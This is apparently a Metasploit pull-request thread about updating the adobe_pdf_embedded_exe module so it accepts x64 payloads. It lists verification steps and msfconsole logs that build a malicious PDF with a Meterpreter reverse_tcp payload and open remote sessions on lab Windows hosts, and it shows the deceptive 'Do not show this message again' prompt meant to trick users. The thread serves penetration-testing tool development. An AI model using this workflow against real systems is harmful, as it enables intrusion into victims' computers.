Updates to adobe_pdf_embedded_exe

[zeroSteiner]

This updates the windows/fileformat/adobe_pdf_embedded_exe exploit to define that its compatible with both ARCH_X86 and ARCH_X64 payloads due to it just generating an EXE. I also dropped the EXENAME datastore option since it's been superseded by the EXE::Custom datastore option a long time ago. Also made rubocop changes. Finally, I tested this on a Windows 10 v1909 system with Adobe Reader 9 to ensure it's still working.

Fixes #19396

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• use exploit/windows/fileformat/adobe_pdf_embedded_exe
• Set a x64 payload
• Install Adobe Reader 9 on a 64-bit Windows system
• Transfer the PDF to the Windows system and open it with Adobe Reader
• Save the generated template and when prompted, check the "Do not show this message again" box and press Open

msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > rerun
[*] Reloading module...

[*] Reading in '/home/smcintyre/Repositories/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'...
[*] Parsing '/home/smcintyre/Repositories/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'...
[*] Using 'windows/x64/meterpreter/reverse_tcp' as payload...
[+] Parsing Successful. Creating 'evil_new.pdf' file...
[+] evil_new.pdf stored at /home/smcintyre/.msf4/local/evil_new.pdf
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > 
[*] Sending stage (201798 bytes) to 192.168.159.134
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.134:49801) at 2024-08-26 16:47:13 -0400

msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > 
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: DESKTOP-ME082HF\smcintyre
meterpreter > sysinfo
Computer        : DESKTOP-ME082HF
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > pwd
c:\Users\smcintyre\Desktop
meterpreter > 

[Admin9961]

Are people still using AR 9?

[zeroSteiner]

The people that opened ticket #19396 seem to be. That or AR 8 which are the only two I think this exploit works against.

[Silenthack3r]

i opened that ticket and am using the latest acrobat reader

[zeroSteiner]

Well the original ticket was for the x64 payload not being selectable which I fixed. The module makes no mention of working with the latest versions of Adobe Acrobat and based on my quick test just now with version 2024.003.20054, it's not. It wouldn't surprise me if the latest versions of Adobe Acrobat are not affected by this issue. So you can use these changes to generate the PDF with a 64-bit payload but I doubt it'll work against your targets. If it does, let me know what versions you tested so we can update the module with that information.

[bwatters-r7]

msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > show options

Module options (exploit/windows/fileformat/adobe_pdf_embedded_exe):

   Name            Current Setting                                               Required  Description
   ----            ---------------                                               --------  -----------
   FILENAME        evil.pdf                                                      no        The output filename.
   INFILENAME      /home/tmoose/rapid7/metasploit-framework/data/exploits/CVE-2  yes       The Input PDF filename.
                   010-1240/template.pdf
   LAUNCH_MESSAGE  To view the encrypted content please check the "Do not show   no        The message to display in the File: area
                   this message again" box and press Open.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Adobe Reader v8.x, v9.x / Windows XP SP3 (English/Spanish) / Windows Vista/7/10 (English)



View the full module info with the info, or info -d command.

msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > set disablepayloadhandler false 
disablepayloadhandler => false
msf6 exploit(windows/fileformat/adobe_pdf_embedded_exe) > run

[*] Started reverse TCP handler on 10.5.135.201:4444 
[*] Reading in '/home/tmoose/rapid7/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'...
[*] Parsing '/home/tmoose/rapid7/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'...
[*] Using 'windows/x64/meterpreter/reverse_tcp' as payload...
[+] Parsing Successful. Creating 'evil.pdf' file...
[+] evil.pdf stored at /home/tmoose/.msf4/local/evil.pdf
[*] Sending stage (201798 bytes) to 10.5.132.167
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.132.167:50399) at 2024-08-28 18:36:55 -0500

meterpreter > sysinfo
Computer        : DESKTOP-D1E425Q
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-D1E425Q\msfuser
meterpreter > 

[bwatters-r7]

Release Notes

This updates the windows/fileformat/adobe_pdf_embedded_exe exploit to define that its compatible with both ARCH_X86 and ARCH_X64 payloads due to it just generating an EXE.

[h00die]

@bwatters-r7 what version of adobe reader was this? Being that there is discussion of newer versions etc, I thought it would be important to capture what version (major/minor/patch) you were successful with

[bwatters-r7]

@bwatters-r7 what version of adobe reader was this? Being that there is discussion of newer versions etc, I thought it would be important to capture what version (major/minor/patch) you were successful with

This was version 9; I could not even get version 8 to run on Win 10x64